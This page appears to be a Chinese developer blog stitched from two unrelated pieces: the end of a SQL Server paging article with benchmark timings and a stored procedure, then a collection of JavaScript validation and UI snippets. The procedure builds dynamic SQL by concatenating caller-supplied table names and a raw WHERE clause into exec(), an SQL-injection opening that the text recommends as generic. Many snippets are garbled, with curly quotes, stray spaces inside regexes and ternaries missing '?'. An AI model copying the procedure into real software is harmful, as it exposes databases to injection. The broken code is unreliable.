在选择即不重复值,又容易分辨大小的列时,我们通常会选择主键。下表列出了笔者用有着1000万数据的办公自动化系统中的表,在以GID(GID是主键,但并不是聚集索引。)为排序列、提取gid,fariqi,title字段,分别以第1、10、100、500、1000、1万、10万、25万、 50万页为例,测试以上三种分页方案的执行速度:(单位:毫秒)

页 码

方案1

方案2

方案3

1

60

30

76

10

46

16

63

100

1076

720

130

500

540

12943

83

1000

17110

470

250

1万

24796

4500

140

10万

38326

42283

1553

25万

28140

128720

2330

50万

121686

127846

7168

从上表中,我们可以看出,三种存储过程在执行100页以下的分页命令时,都是可以信任的,速度都很好。但第一种方案在执行分页1000页以上后,速度就降了下来。第二种方案大约是在执行分页1万页以上后速度开始降了下来。而第三种方案却始终没有大的降势,后劲仍然很足。

在确定了第三种分页方案后,我们可以据此写一个存储过程。大家知道SQL SERVER的存储过程是事先编译好的SQL语句,它的执行效率要比通过WEB页面传来的SQL语句的执行效率要高。下面的存储过程不仅含有分页方案,还会根据页面传来的参数来确定是否进行数据总数统计。

— 获取指定页的数据

Create PROCEDURE pagination3

@tblName varchar(255), — 表名

@strGetFields varchar(1000) = ‘*’, — 需要返回的列

@fldName varchar(255)=”, — 排序的字段名

@PageSize int = 10, — 页尺寸

@PageIndex int = 1, — 页码

@doCount bit = 0, — 返回记录总数, 非 0 值则返回

@OrderType bit = 0, — 设置排序类型, 非 0 值则降序

@strWhere varchar(1500) = ” — 查询条件 (注意: 不要加 where)

AS

declare @strSQL varchar(5000) — 主语句

declare @strTmp varchar(110) — 临时变量

declare @strOrder varchar(400) — 排序类型

if @doCount != 0

begin

if @strWhere !=”

set @strSQL = “select count(*) as Total from [” + @tblName + “] where “+@strWhere

else

set @strSQL = “select count(*) as Total from [” + @tblName + “]”

end

–以上代码的意思是如果@doCount传递过来的不是0,就执行总数统计。以下的所有代码都是@doCount为0的情况

else

begin

if @OrderType != 0

begin

set @strTmp = “<(select min”

set @strOrder = ” order by [” + @fldName +”] desc”

–如果@OrderType不是0,就执行降序,这句很重要!

end

else

begin

set @strTmp = “>(select max”

set @strOrder = ” order by [” + @fldName +”] asc”

end

if @PageIndex = 1

begin

if @strWhere != ”

set @strSQL = “select top ” + str(@PageSize) +” “+@strGetFields+ ” from [” + @tblName + “] where ” + @strWhere + ” ” + @strOrder

else

set @strSQL = “select top ” + str(@PageSize) +” “+@strGetFields+ ” from [“+ @tblName + “] “+ @strOrder

–如果是第一页就执行以上代码,这样会加快执行速度

end

else

begin

–以下代码赋予了@strSQL以真正执行的SQL代码

set @strSQL = “select top ” + str(@PageSize) +” “+@strGetFields+ ” from [”

+ @tblName + “] where [” + @fldName + “]” + @strTmp + “([“+ @fldName + “]) from (select top ” + str((@PageIndex-1)*@PageSize) + ” [“+ @fldName + “] from [” + @tblName + “]” + @strOrder + “) as tblTmp)”+ @strOrder

if @strWhere != ”

set @strSQL = “select top ” + str(@PageSize) +” “+@strGetFields+ ” from [”

+ @tblName + “] where [” + @fldName + “]” + @strTmp + “([”

+ @fldName + “]) from (select top ” + str((@PageIndex-1)*@PageSize) + ” [”

+ @fldName + “] from [” + @tblName + “] where ” + @strWhere + ” ”

+ @strOrder + “) as tblTmp) and ” + @strWhere + ” ” + @strOrder

end

end

exec (@strSQL)

GO

上面的这个存储过程是一个通用的存储过程,其注释已写在其中了。

在大数据量的情况下,特别是在查询最后几页的时候,查询时间一般不会超过9秒;而用其他存储过程,在实践中就会导致超时,所以这个存储过程非常适用于大容量数据库的查询。

笔者希望能够通过对以上存储过程的解析,能给大家带来一定的启示,并给工作带来一定的效率提升,同时希望同行提出更优秀的实时数据分页算法。

在b/s开发中经常用到的javaScript技术整理

一、验证类
1、数字验证内
  1.1 整数
  1.2 大于0的整数 (用于传来的ID的验证)
  1.3 负整数的验证
  1.4 整数不能大于iMax
  1.5 整数不能小于iMin
2、时间类
  2.1 短时间,形如 (13:04:06)
  2.2 短日期,形如 (2003-12-05)
  2.3 长时间,形如 (2003-12-05 13:04:06)
  2.4 只有年和月。形如(2003-05,或者2003-5)
  2.5 只有小时和分钟,形如(12:03)
3、表单类
  3.1 所有的表单的值都不能为空
  3.2 多行文本框的值不能为空。
  3.3 多行文本框的值不能超过sMaxStrleng
  3.4 多行文本框的值不能少于sMixStrleng
  3.5 判断单选框是否选择。
  3.6 判断复选框是否选择.
  3.7 复选框的全选,多选,全不选,反选
  3.8 文件上传过程中判断文件类型
4、字符类
  4.1 判断字符全部由a-Z或者是A-Z的字字母组成
  4.2 判断字符由字母和数字组成。
  4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
  4.4 字符串替换函数.Replace();
5、浏览器类
  5.1 判断浏览器的类型
  5.2 判断ie的版本
  5.3 判断客户端的分辨率
 
6、结合类
  6.1 email的判断。
  6.2 手机号码的验证
  6.3 身份证的验证
 
二、功能类

1、时间与相关控件类
  1.1 日历
  1.2 时间控件
  1.3 万年历
  1.4 显示动态显示时钟效果(文本,如OA中时间)
  1.5 显示动态显示时钟效果 (图像,像手表)
2、表单类
  2.1 自动生成表单
  2.2 动态添加,修改,删除下拉框中的元素
  2.3 可以输入内容的下拉框
  2.4 多行文本框中只能输入iMax文字。如果多输入了,自动减少到iMax个文字(多用于短信发送)
 
3、打印类
  3.1 打印控件
4、事件类
  4.1 屏蔽右键
  4.2 屏蔽所有功能键
  4.3 –> 和<– F5 F11,F9,F1
  4.4 屏蔽组合键ctrl+N
5、网页设计类
  5.1 连续滚动的文字,图片(注意是连续的,两段文字和图片中没有空白出现)
  5.2 html编辑控件类
  5.3 颜色选取框控件
  5.4 下拉菜单
  5.5 两层或多层次的下拉菜单
  5.6 仿IE菜单的按钮。(效果如rongshuxa.com的导航栏目)
  5.7 状态栏,title栏的动态效果(例子很多,可以研究一下)
  5.8 双击后,网页自动滚屏
6、树型结构。
  6.1 asp+SQL版
  6.2 asp+xml+sql版
  6.3 java+sql或者java+sql+xml
7、无边框效果的制作
8、连动下拉框技术
9、文本排序

一、验证类
1、数字验证内
  1.1 整数
      /^(-|\+) \d+$/.test(str)
  1.2 大于0的整数 (用于传来的ID的验证)
      /^\d+$/.test(str)
  1.3 负整数的验证
      /^-\d+$/.test(str)
2、时间类
  2.1 短时间,形如 (13:04:06)
      function isTime(str)
      {
        var a = str.match(/^(\d{1,2})(:) (\d{1,2})\2(\d{1,2})$/);
        if (a == null) {alert(‘输入的参数不是时间格式’); return false;}
        if (a[1]>24 || a[3]>60 || a[4]>60)
        {
          alert(“时间格式不对”);
          return false
        }
        return true;
      }
  2.2 短日期,形如 (2003-12-05)
      function strDateTime(str)
      {
         var r = str.match(/^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/);
         if(r==null)return false;
         var d= new Date(r[1], r[3]-1, r[4]);
         return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]);
      }
  2.3 长时间,形如 (2003-12-05 13:04:06)
      function strDateTime(str)
      {
        var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/;
        var r = str.match(reg);
        if(r==null)return false;
        var d= new Date(r[1], r[3]-1,r[4],r[5],r[6],r[7]);
        return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]&&d.getHours()==r[5]&&d.getMinutes()==r[6]&&d.getSeconds()==r[7]);
      }
  2.4 只有年和月。形如(2003-05,或者2003-5)
  2.5 只有小时和分钟,形如(12:03)
3、表单类
  3.1 所有的表单的值都不能为空
      <input onblur=”if(this.value.replace(/^\s+|\s+$/g,”)==”)alert(‘不能为空!’)”>
  3.2 多行文本框的值不能为空。
  3.3 多行文本框的值不能超过sMaxStrleng
  3.4 多行文本框的值不能少于sMixStrleng
  3.5 判断单选框是否选择。
  3.6 判断复选框是否选择.
  3.7 复选框的全选,多选,全不选,反选
  3.8 文件上传过程中判断文件类型
4、字符类
  4.1 判断字符全部由a-Z或者是A-Z的字字母组成
      <input onblur=”if(/[^a-zA-Z]/g.test(this.value))alert(‘有错’)”>
  4.2 判断字符由字母和数字组成。
      <input onblur=”if(/[^0-9a-zA-Z]/g.test(this.value))alert(‘有错’)”>
  4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
      /^([a-zA-z_]{1})([\w]*)$/g.test(str)
  4.4 字符串替换函数.Replace();
5、浏览器类
  5.1 判断浏览器的类型
      window.navigator.appName
  5.2 判断ie的版本
      window.navigator.appVersion
  5.3 判断客户端的分辨率
      window.screen.height;  window.screen.width;
 
6、结合类
  6.1 email的判断。
      function ismail(mail)
      {
        return(new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(mail));
      }
  6.2 手机号码的验证
  6.3 身份证的验证
      function isIdCardNo(num)
      {
        if (isNaN(num)) {alert(“输入的不是数字!”); return false;}
        var len = num.length, re;
        if (len == 15)
          re = new RegExp(/^(\d{6})() (\d{2})(\d{2})(\d{2})(\d{3})$/);
        else if (len == 18)
          re = new RegExp(/^(\d{6})() (\d{4})(\d{2})(\d{2})(\d{3})(\d)$/);
        else {alert(“输入的数字位数不对!”); return false;}
        var a = num.match(re);
        if (a != null)
        {
          if (len==15)
          {
            var D = new Date(“19″+a[3]+”/”+a[4]+”/”+a[5]);
            var B = D.getYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
          }
          else
          {
            var D = new Date(a[3]+”/”+a[4]+”/”+a[5]);
            var B = D.getFullYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
          }
          if (!B) {alert(“输入的身份证号 “+ a[0] +” 里出生日期不对!”); return false;}
        }
        return true;
      }

3.7 复选框的全选,多选,全不选,反选
<form name=hrong>
<input type=checkbox name=All onclick=”checkAll(‘mm’)”>全选<br/>
<input type=checkbox name=mm onclick=”checkItem(‘All’)”><br/>
<input type=checkbox name=mm onclick=”checkItem(‘All’)”><br/>
<input type=checkbox name=mm onclick=”checkItem(‘All’)”><br/>
<input type=checkbox name=mm onclick=”checkItem(‘All’)”><br/>
<input type=checkbox name=mm onclick=”checkItem(‘All’)”><br/><br/>

<input type=checkbox name=All2 onclick=”checkAll(‘mm2’)”>全选<br/>
<input type=checkbox name=mm2 onclick=”checkItem(‘All2’)”><br/>
<input type=checkbox name=mm2 onclick=”checkItem(‘All2’)”><br/>
<input type=checkbox name=mm2 onclick=”checkItem(‘All2’)”><br/>
<input type=checkbox name=mm2 onclick=”checkItem(‘All2’)”><br/>
<input type=checkbox name=mm2 onclick=”checkItem(‘All2’)”><br/>

</form>

<SCRIPT LANGUAGE=”java script”>
function checkAll(str)
{
  var a = document.getElementsByName(str);
  var n = a.length;
  for (var i=0; i<n; i++)
  a[i].checked = window.event.srcElement.checked;
}
function checkItem(str)
{
  var e = window.event.srcElement;
  var all = eval(“document.hrong.”+ str);
  if (e.checked)
  {
    var a = document.getElementsByName(e.name);
    all.checked = true;
    for (var i=0; i<a.length; i++)
    {
      if (!a[i].checked){ all.checked = false; break;}
    }
  }
  else all.checked = false;
}
</SCRIPT>

3.8 文件上传过程中判断文件类型
<input type=file onchange=”alert(this.value.match(/^(.*)(\.)(.{1,8})$/)[3])”>

画图:
<OBJECT
id=S
style=”LEFT: 0px; WIDTH: 392px; TOP: 0px; HEIGHT: 240px”
height=240
width=392
classid=”clsid:369303C2-D7AC-11D0-89D5-00A0C90833E6″>
</OBJECT>
<SCRIPT>
S.DrawingSurface.ArcDegrees(0,0,0,30,50,60);
S.DrawingSurface.ArcRadians(30,0,0,30,50,60);
S.DrawingSurface.Line(10,10,100,100);
</SCRIPT>

写注册表:
<SCRIPT>
var WshShell = WScript.CreateObject(“WScript.Shell”);
WshShell.RegWrite (“HKCU\\Software\\ACME\\FortuneTeller\\”, 1, “REG_BINARY”);
WshShell.RegWrite (“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”, “Goocher!”, “REG_SZ”);
var bKey =    WshShell.RegRead (“HKCU\\Software\\ACME\\FortuneTeller\\”);
WScript.Echo (WshShell.RegRead (“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”));
WshShell.RegDelete (“HKCU\\Software\\ACME\\FortuneTeller\\MindReader”);
WshShell.RegDelete (“HKCU\\Software\\ACME\\FortuneTeller\\”);
WshShell.RegDelete (“HKCU\\Software\\ACME\\”);
</SCRIPT>

TABLAE相关(客户端动态增加行列)
<HTML>
<SCRIPT LANGUAGE=”JScript”>
function numberCells() {
    var count=0;
    for (i=0; i < document.all.mytable.rows.length; i++) {
        for (j=0; j < document.all.mytable.rows(i).cells.length; j++) {
            document.all.mytable.rows(i).cells(j).innerText = count;
            count++;
        }
    }
}
</SCRIPT>
<BODY onload=”numberCells()”>
<TABLE id=mytable border=1>
<TR><TH>&nbsp;</TH><TH>&nbsp;</TH><TH>&nbsp;</TH><TH>&nbsp;</TH></TR>
<TR><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD></TR>
<TR><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD></TR>
</TABLE>
</BODY>
</HTML>

1.身份证严格验证:

<script>
var aCity={11:”北京”,12:”天津”,13:”河北”,14:”山西”,15:”内蒙古”,21:”辽宁”,22:”吉林”,23:”黑龙江”,31:”上海”,32:”江苏”,33:”浙江”,34:”安徽”,35:”福建”,36:”江西”,37:”山东”,41:”河南”,42:”湖北”,43:”湖南”,44:”广东”,45:”广西”,46:”海南”,50:”重庆”,51:”四川”,52:”贵州”,53:”云南”,54:”西藏”,61:”陕西”,62:”甘肃”,63:”青海”,64:”宁夏”,65:”新疆”,71:”台湾”,81:”香港”,82:”澳门”,91:”国外”}
 

function cidInfo(sId){
 var iSum=0
 var info=””
 if(!/^\d{17}(\d|x)$/i.test(sId))return false;
 sId=sId.replace(/x$/i,”a”);
 if(aCity[parseInt(sId.substr(0,2))]==null)return “Error:非法地区”;
 sBirthday=sId.substr(6,4)+”-“+Number(sId.substr(10,2))+”-“+Number(sId.substr(12,2));
 var d=new Date(sBirthday.replace(/-/g,”/”))
 if(sBirthday!=(d.getFullYear()+”-“+ (d.getMonth()+1) + “-” + d.getDate()))return “Error:非法生日”;
 for(var i = 17;i>=0;i –) iSum += (Math.pow(2,i) % 11) * parseInt(sId.charAt(17 – i),11)
 if(iSum%11!=1)return “Error:非法证号”;
 return aCity[parseInt(sId.substr(0,2))]+”,”+sBirthday+”,”+(sId.substr(16,1)%2 “男”:”女”)
}

document.write(cidInfo(“380524198002300016″),”<br/>”);
document.write(cidInfo(“340524198002300019″),”<br/>”)
document.write(cidInfo(“340524197711111111″),”<br/>”)
document.write(cidInfo(“34052419800101001x”),”<br/>”);
</script>

2.验证IP地址
<SCRIPT LANGUAGE=”java script”>
function isip(s){
 var check=function(v){try{return (v<=255 && v>=0)}catch(x){return false}};
 var re=s.split(“.”)
 return (re.length==4) (check(re[0]) && check(re[1]) && check(re[2]) && check(re[3])):false
}

var s=”202.197.78.129″;
alert(isip(s))
</SCRIPT>

 

3.加sp1后还能用的无边框窗口!!
<HTML XMLNS:IE>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
<IE:Download ID=”include” STYLE=”behavior:url(#default#download)” />
<title>Chromeless Window</title>

<SCRIPT LANGUAGE=”JScript”>
/*— Special Thanks For andot —*/

/*
 This following code are designed and writen by Windy_sk <seasonx@163.net>
 You can use it freely, but u must held all the copyright items!
*/

/*— Thanks For andot Again —*/

var CW_width = 400;
var CW_height = 300;
var CW_top = 100;
var CW_left = 100;
var CW_url = “/”;
var New_CW = window.createPopup();
var CW_Body = New_CW.document.body;
var content = “”;
var CSStext = “margin:1px;color:black; border:2px outset;border-style:expression(onmouseout=onmouseup=function(){this.style.borderStyle=’outset’}, onmousedown=function(){if(event.button!=2)this.style.borderStyle=’inset’});background-color:buttonface;width:16px;height:14px;font-size:12px;line-height:11px;cursor:Default;”;

//Build Window
include.startDownload(CW_url, function(source){content=source});

function insert_content(){
 var temp = “”;
 CW_Body.style.overflow  = “hidden”;
 CW_Body.style.backgroundColor = “white”;
 CW_Body.style.border  =  “solid black 1px”;
 content = content.replace(/<a ([^>]*)>/g,”<a onclick=’parent.open(this.href);return false’ $1>”);
 temp += “<table width=100% height=100% cellpadding=0 cellspacing=0 border=0>”;
 temp += “<tr style=’;font-size:12px;background:#0099CC;height:20;cursor:default’ ondblclick=\”Max.innerText=Max.innerText==’1′ ‘2’:’1′;parent.if_max=!parent.if_max;parent.show_CW();\” onmouseup=’parent.drag_up(event)’ onmousemove=’parent.drag_move(event)’ onmousedown=’parent.drag_down(event)’ onselectstart=’return false’ oncontextmenu=’return false’>”;
 temp += “<td style=’color:#ffffff;padding-left:5px’>Chromeless Window For IE6 SP1</td>”;
 temp += “<td style=’color:#ffffff;padding-right:5px;’ align=right>”;
 temp += “<span id=Help  onclick=\”alert(‘Chromeless Window For IE6 SP1  –  Ver 1.0\\n\\nCode By Windy_sk\\n\\nSpecial Thanks For andot’)\” style=\””+CSStext+”font-family:System;padding-right:2px;\”> </span>”;
 temp += “<span id=Min   onclick=’parent.New_CW.hide();parent.blur()’ style=\””+CSStext+”font-family:Webdings;\” title=’Minimum’>0</span>”;
 temp += “<span id=Max   onclick=\”this.innerText=this.innerText==’1′ ‘2’:’1′;parent.if_max=!parent.if_max;parent.show_CW();\” style=\””+CSStext+”font-family:Webdings;\” title=’Maximum’>1</span>”;
 temp += “<span id=Close onclick=’parent.opener=null;parent.close()’ style=\””+CSStext+”font-family:System;padding-right:2px;\” title=’Close’>x</span>”;
 temp += “</td></tr><tr><td colspan=2>”;
 temp += “<div id=include style=’overflow:scroll;overflow-x:hidden;overflow-y:auto; HEIGHT: 100%; width:”+CW_width+”‘>”;
 temp += content;
 temp += “</div>”;
 temp += “</td></tr></table>”;
 CW_Body.innerHTML = temp;
}

setTimeout(“insert_content()”,1000);

var if_max = true;
function show_CW(){
 window.moveTo(10000, 10000);
 if(if_max){
  New_CW.show(CW_top, CW_left, CW_width, CW_height);
  if(typeof(New_CW.document.all.include)!=”undefined”){
   New_CW.document.all.include.style.width = CW_width;
   New_CW.document.all.Max.innerText = “1”;
  }
 
 }else{
  New_CW.show(0, 0, screen.width, screen.height);
  New_CW.document.all.include.style.width = screen.width;
 }
}

window.onfocus  = show_CW;
window.onresize = show_CW;

// Move Window
var drag_x,drag_y,draging=false

function drag_move(e){
 if (draging){
  New_CW.show(e.screenX-drag_x, e.screenY-drag_y, CW_width, CW_height);
  return false;
 }
}

function drag_down(e){
 if(e.button==2)return;
 if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height)return;
 drag_x=e.clientX;
 drag_y=e.clientY;
 draging=true;
 e.srcElement.setCapture();
}

function drag_up(e){
 draging=false;
 e.srcElement.releaseCapture();
 if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return;
 CW_top  = e.screenX-drag_x;
 CW_left = e.screenY-drag_y;
}

</SCRIPT>
</HTML>

电话号码的验证

要求:
  (1)电话号码由数字、”(“、”)”和”-“构成
  (2)电话号码为3到8位
  (3)如果电话号码中包含有区号,那么区号为三位或四位
  (4)区号用”(“、”)”或”-“和其他部分隔开
  (5)移动电话号码为11或12位,如果为12位,那么第一位为0
  (6)11位移动电话号码的第一位和第二位为”13″
  (7)12位移动电话号码的第二位和第三位为”13″
  根据这几条规则,可以与出以下正则表达式:
  (^[0-9]{3,4}\-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^\([0-9]{3,4}\)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)

<script language=”java script”>
function PhoneCheck(s) {
var str=s;
var reg=/(^[0-9]{3,4}\-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^\([0-9]{3,4}\)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)/
alert(reg.test(str));
}
</script>
<input type=text name=”iphone”>
<input type=button onclick=”PhoneCheck(document.all.iphone.value)” value=”Check”>

具有在输入非数字字符不回显的效果,即对非数字字符的输入不作反应。
function numbersonly(field,event){
 var key,keychar;
 if(window.event){
  key = window.event.keyCode;
 }
 else if (event){
  key = event.which;
 }
 else{
  return true
 }
 keychar = String.fromCharCode(key);
 if((key == null)||(key == 0)||(key == 8)||(key == 9)||(key == 13)||(key == 27)){
  return true;
 }
 else if((“0123456789.”).indexOf(keychar)>-1){
  window.status = “”;
  return true;
 }
 else {
  window.status = “Field excepts numbers only”;
  return false;
 }
}

验证ip

str=document.RegExpDemo.txtIP.value;
if(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(str)==false)
{
 window.alert(‘错误的IP地址格式’);
 document.RegExpDemo.txtIP.select();
 document.RegExpDemo.txtIP.focus();
 return;
}
if(RegExp.$1<1 || RegExp.$1>254||RegExp.$2<0||RegExp.$2>254||RegExp.$3<0||RegExp.$3>254||RegExp.$4<1||RegExp.$4>254)
{
 window.alert(‘错误的IP地址’);
 document.RegExpDemo.txtIP.select();
 document.RegExpDemo.txtIP.focus();
 return;
}
//剔除 如  010.020.020.03 前面 的0
var str=str.replace(/0(\d)/g,”$1″);
str=str.replace(/0(\d)/g,”$1″);
window.alert(str);